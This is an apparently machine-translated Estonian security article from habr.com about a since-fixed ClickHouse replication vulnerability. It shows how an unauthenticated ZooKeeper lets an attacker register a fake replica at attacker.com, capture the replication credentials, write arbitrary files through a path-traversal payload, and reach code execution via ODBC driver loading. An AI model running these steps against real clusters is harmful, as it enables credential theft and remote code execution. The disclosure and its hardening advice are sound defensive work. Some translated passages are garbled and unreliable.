
Selles artiklis rÀÀgitakse ĂŒhest iseloomulikust haavatavusest ClickHouse'i replikatsiooniprotokollis ning nĂ€idatakse, kuidas laiendada rĂŒnnaku pinda.
ClickHouse on suurte andmemahutite andmebaas, mida kasutatakse sageli mitme replikaga. Klasterdamine ja replikatsioon ClickHouse'is pÔhinevad (ZK) ja nÔuavad kirjutamisÔigusi.
ZK vaikimisi installimine ei nÔua autentimist, mistÔttu on tuhanded ZK serverid, mida kasutatakse Kafka, Hadoopi ja ClickHouse'i seadistamiseks, avalikult kergesti ligipÀÀsetavad.
RĂŒnnaku pinna vĂ€hendamiseks peaksite alati seadistama autentimise ja autoriseerimise ZooKeeper'i installimisel.
Muidugi on mĂ”ned Java deserialiseerimise alusel pĂ”hinevad 0day haavatavused, kuid kujutage ette, et rĂŒndaja suudab lugeda ja kirjutada ZooKeeper'isse, mida kasutatakse ClickHouse'i replikatsiooni jaoks.
Klastri reĆŸiimis seadistamisel toetab ClickHouse jaotatud pĂ€ringuid , mis lĂ€bivad ZK â nende jaoks luuakse sĂ”lmed nimekirjas. /clickhouse/task_queue/ddl.
NÀiteks loote sÔlme /clickhouse/task_queue/ddl/query-0001 sisu:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']ja pÀrast seda eemaldatakse test-tabel klastrite host1 ja host2 serverites. DDL toetab ka CREATE/ALTER/DROP pÀringute kÀivitamist.
KĂŒĂŒniline? Aga kust rĂŒndaja saaks serverite aadresse kĂ€tte?
toimib eraldi tabelite tasemel, mistĂ”ttu tabeli loomisel ZK-s mÀÀratakse server, mis vastutab metaandmete vahetamise eest replikatega. NĂ€iteks pĂ€ringu tĂ€itmisel (ZK peab olema seadistatud, chXX â replikatsiooni nimi, foobar â tabeli nimi):
Loo tabel foobar
(
`action_id` UInt32, mille vaikevÀÀrtus on toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;luuakse sÔlmed veergud ja metadata.
Sisu /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-aadress
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpKas sellel klastril on vĂ”imalik andmeid koondada? Jah, kui replikatsiooni port (TCP/9009) serveris chXX-aadress ei ole tulemĂŒĂŒriga suletud ja replikatsiooniks ei ole autentimist seadistatud. Kuidas autentimist vĂ€ltida?
RĂŒndaja vĂ”ib ZK-s luua uue replikatsiooni, kopeerides sisu lihtsalt /clickhouse/tables/01-01/foobar/replicas/chXX ja muutes vÀÀrtust host.
Sisu /clickhouse/tables/01â01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpSeejĂ€rel tuleb teistele replikatele öelda, et rĂŒndaja serveris on uus andmete plokk, mida nad peavad vĂ”tma â luuakse sĂ”lm ZK-s. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotoonne kasvav loendur, mis peab olema suurem kui viimane sĂŒndmuslogis):
formaadi versioon: 4
loomise_aeg: 2019-07-31 09:37:42
allika replikatsioon: rĂŒndaja
bloki_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2kus allika_replikatsioon â rĂŒndaja replikatsiooni nimi, loodud eelmisel sammul, bloki_id â andmebloki identifikaator, get â kĂ€sk "get block" (ja ).
Edasi iga replikatsioon loeb uut sĂŒndmust logis ja lĂ€heb serverisse, mis on kurjategija kontrolli all, et saada andmeblokk (replikatsiooniprotokoll on binaarne, töötab HTTP peal). Server attacker.com saab pĂ€ringuid:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Autoriseerimine: XXXkus XXX â need on autentimise andmed replikatsiooniks. MĂ”nel juhul vĂ”ib see olla konto, millel on juurdepÀÀs andmebaasile peamise ClickHouse protokolli ja HTTP protokolli kaudu. Nagu olete nĂ€inud, muutub rĂŒnnaku pind kriitiliselt suureks, kuna replikatsiooniks kasutatav ZooKeeper jĂ€i ilma korraldatud autentimiseta.
Vaadakem andmete saamise funktsiooni replikast, see on kirjutatud tÀieliku usuga, et kÔik repliikid on Ôiges kontrollis ja nende vahel on usaldus.

replikatsiooni töötlemise kood
Funktsioon loeb failide loendi, seejĂ€rel nende nimed, suurused, sisu, pĂ€rast mida kirjutab need failisĂŒsteemi. Tuleb eraldi kirjeldada, kuidas andmeid failisĂŒsteemis hoitakse.
On mitu alamkausta /var/lib/clickhouse (vaikimisi salvestamise kataloog konfiguratsioonifailist):
lipud â kataloog kirjutamiseks , mis on kasutatud andmete kadumise taastamisel;
tmp â ajutiste failide salvestamise kataloog;
user_files â failidega seotud toimingud pĂ€ringutes on piiratud selle katalooge (INTO OUTFILE ja teised);
metadata â sql-failid tabelite kirjeldustega;
preprocessed_configs â töödeldud tuletatud konfiguratsioonifailid failist /etc/clickhouse-server;
data â tegelik kataloog, kus andmed asuvad, luuakse igale andmebaasile eraldi alamkaust (nĂ€iteks /var/lib/clickhouse/data/default).
Iga tabeli jaoks luuakse andmebaasi kataloogis alamkaust. Iga veerg on sĂ”ltumatu fail sĂ”ltuvalt . NĂ€iteks rĂŒndaja loodud tabeli jaoks luuakse jĂ€rgmised failid: foobar, mille lĂ”i rĂŒndaja, luuakse jĂ€rgmised failid:
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2Replika ootab failide saamist sama nimega andmeploki töötlemisel ja ei kontrolli neid mingil viisil.
Hoolikas lugeja on tĂ”enĂ€oliselt juba kuulnud ohtlikust file_name konkatenaatsioonist funktsioonis WriteBufferFromFile. Jah, see vĂ”imaldab rĂŒndajal kirjutada suvalist sisu mis tahes faili failisĂŒsteemis kasutaja Ă”igustes. clickhouse. Selleks peab rĂŒndaja kontrolli all olev replika vastama jĂ€rgmise pĂ€ringu vastusele (mĂ”istmise lihtsustamiseks on lisatud reavahetused):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeperja pÀrast konkatenaatsiooni ../../../../../../../../../tmp/pwned salvestatakse fail /tmp/pwned sisuga hellofromzookeeper.
On mitu vÔimalust, kuidas faili kirjutamise vÔimalust kasutada kaugkoodi kÀivitamiseks (RCE).
VÀlised sÔnastikud RCEs
Vanas versioonis hoiti ClickHouse seadistuste katalooge kasutaja Ă”igustega clickhouse vaikimisi. Seadistusfailid on XML-failid, mida teenus loeb kĂ€ivitamisel ja seejĂ€rel vahemĂ€llu salvestab /var/lib/clickhouse/preprocessed_configs. Muudatuste korral loetakse need uuesti. Kui juurdepÀÀs on olemas, /etc/clickhouse-server saab rĂŒndaja luua oma kĂ€ivitatavate tĂŒĂŒpide ja seejĂ€rel tĂ€itma juhuslikku koodi. Praegused ClickHouse'i versioonid ei paku vaikimisi Ă”igusi, kuid kui serverit on jĂ€rk-jĂ€rgult uuendatud, vĂ”ivad sellised Ă”igused siiski jÀÀda. Kui te hoolitsete ClickHouse'i klastrite eest, kontrollige seadistuste katalooge, see peab kuuluma kasutajale. root.
ODBC RCE-s
Paketi installimisel luuakse kasutaja clickhouse, samas kui tema kodukatlog ei loo. /nonexistentKuid vÀliste sÔnastike kasutamisel vÔi muudel pÔhjustel loovad administraatorid katalooge /nonexistent ja annavad kasutajale clickhouse kasutamisÔiguse (SSZB! tÔlkija mÀrk.).
ClickHouse toetab ja suudab ĂŒhendada teiste andmebaasidega. ODBC-s saate mÀÀrata tee andmebaasi draiveri raamatukoguni (.so). Vanemad ClickHouse'i versioonid lubasid seda otse pĂ€ringute töötlejas, kuid nĂŒĂŒd on lisatud rangem kontrollĂŒhenduse stringi suhtes. odbc-bridge, seega ei saa nĂŒĂŒd pĂ€ringust draiveri teed nĂ€idata. Kuid rĂŒndaja vĂ”ib kirjutada kodukatlogisse, kasutades ĂŒlaltoodud haavatavust?
Loome faili ~/.odbc.ini sellise sisuga:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.sosiis kÀivitamisel SELECT * FROM odbc('DSN=lalala', 'test', 'test'); laaditakse raamatukogu test.so ja saadud RCE (aitÀh vihje eest).
Need ja muud haavatavused on parandatud ClickHouse versioonis 19.14.3. Hoidke oma ClickHouse ja ZooKeepers'e turvalisena!
Allikas: habr.com
